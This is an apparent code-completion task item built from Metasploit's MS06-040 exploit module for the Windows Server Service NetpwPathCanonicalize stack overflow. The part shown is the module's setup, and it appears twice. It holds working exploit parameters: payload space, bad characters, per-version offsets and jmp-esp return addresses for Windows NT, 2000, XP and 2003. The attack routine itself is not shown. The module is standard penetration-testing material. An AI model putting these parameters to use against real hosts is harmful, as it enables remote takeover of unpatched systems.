You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: ms06_040_netapi.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/smb
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function
        using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
        other RPC calls could be used to exploit this service. This exploit will result in
        a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
        will likely result in a complete reboot on Windows 2000 and the termination of all
        SMB-related services on Windows XP. The default target for this exploit should succeed
        on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.
      },
      'Author'         =>
        [
          'hdm'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-3439' ],
          [ 'OSVDB', '27845' ],
          [ 'BID', '19409' ],
          [ 'MSB', 'MS06-040' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          # Technically we can use more space than this, but by limiting it
          # to 370 bytes we can use the same request for all Windows SPs.
          'Space'    => 370,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'DefaultTarget'  => 0,
      'Targets'        =>
        [
          [ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ],
          [ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4',
            {
              'Offset' => 1000,
              'Ret'    => 0x00020804
            }
          ],
          [ '(wcscpy) Windows XP SP0/SP1',
            {
              'Offset' => 612,
              'Ret'    => 0x00020804
            }
          ],
          [ '(stack)  Windows XP SP1 English',
            {
              'OffsetA' => 656,
              'OffsetB' => 680,
              'Ret'     => 0x71ab1d54 # jmp esp @ ws2_32.dll
            }
          ],
          [ '(stack)  Windows XP SP1 Italian',
            {
              'OffsetA' => 656,
              'OffsetB' =>
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function
        using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
        other RPC calls could be used to exploit this service. This exploit will result in
        a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
        will likely result in a complete reboot on Windows 2000 and the termination of all
        SMB-related services on Windows XP. The default target for this exploit should succeed
        on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.
      },
      'Author'         =>
        [
          'hdm'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-3439' ],
          [ 'OSVDB', '27845' ],
          [ 'BID', '19409' ],
          [ 'MSB', 'MS06-040' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          # Technically we can use more space than this, but by limiting it
          # to 370 bytes we can use the same request for all Windows SPs.
          'Space'    => 370,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'DefaultTarget'  => 0,
      'Targets'        =>
        [
          [ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ],
          [ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4',
            {
              'Offset' => 1000,
              'Ret'    => 0x00020804
            }
          ],
          [ '(wcscpy) Windows XP SP0/SP1',
            {
              'Offset' => 612,
              'Ret'    => 0x00020804
            }
          ],
          [ '(stack)  Windows XP SP1 English',
            {
              'OffsetA' => 656,
              'OffsetB' => 680,
              'Ret'     => 0x71ab1d54 # jmp esp @ ws2_32.dll
            }
          ],
          [ '(stack)  Windows XP SP1 Italian',
            {
              'OffsetA' => 656,
              'OffsetB' => 680,
              'Ret'     => 0x71a37bfb # jmp esp @ ws2_32.dll
            }
          ],
          [ '(wcscpy) Windows 2003 SP0',
            {
              'Offset' => 612,
              'Ret'    => 0x00020804
            }
          ],
        ],
      'Notes'          =>
        {
          'Reliability' => [ UNRELIABLE_SESSION ],
          'Stability'   => [ CRASH_OS_RESTARTS, CRASH_SERVICE_DOWN ]
        },
      'DisclosureDate' => '2006-08-08'))

    register_options(
      [
        OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
      ])

    deregister_options('SMB::ProtocolVersion')
  end